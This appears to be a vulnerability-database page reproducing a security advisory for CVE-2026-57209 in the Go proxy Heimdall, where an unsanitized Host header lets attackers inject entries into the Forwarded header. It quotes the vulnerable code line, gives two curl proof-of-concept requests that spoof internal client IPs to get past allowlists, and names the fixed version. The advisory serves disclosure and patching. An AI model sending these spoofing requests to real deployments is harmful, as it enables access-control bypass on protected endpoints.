CVE-2026-57209: Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode
Summary When Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services.
Published Jun 18, 2026 · Updated Jul 20, 2026
Affected packages
github.com/dadrus/heimdall
- Ecosystem
- Go
- Affected
- <= 0.17.16
- Fixed in
- 0.17.17
- Check
go list -m github.com/dadrus/heimdall
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services.
Vulnerable Code
File: `proxy/request_context.go` (line 201)
entry := "for=" + clientIP + ";host=" + in.Host + ";proto=" + protoGo's net/http allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.
PoC
# Inject a spoofed IP into the Forwarded header
curl -s -H "Host: evil.com,for=127.0.0.1" \
"http://TARGET:PORT/protected-resource"This produces the following Forwarded header sent to the upstream service:
Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=httpUpstream services that parse the Forwarded header according to RFC 7239 will see two entries. If the service trusts the last or any for= value, the attacker successfully spoofs 127.0.0.1 as the client IP.
# More targeted attack: spoof to bypass IP allowlist
curl -s -H "Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1" \
"http://TARGET:PORT/admin-panel"Impact
- IP spoofing: Upstream services behind Heimdall may trust the injected
for=value, believing the request originates from an internal/trusted IP - Access control bypass: Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed
- Affects all proxy-mode deployments where upstream services parse the
Forwardedheader.
Credited to tikket1.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-42272
Heimdall: Case-sensitive handling of URL-encoded slashes may lead to inconsistent path interpretation
high7.8Apr 25, 2026CVE-2026-42273
Heimdall: Case-sensitive host matching may lead to policy bypass
high7.8Apr 25, 2026CVE-2026-42274
Heimdall has an authorization bypass via path normalization mismatch
high7.8Apr 25, 2026CVE-2026-32811
Heimdall: Path received via Envoy gRPC corrupted when containing query string
high8.2Mar 18, 2026
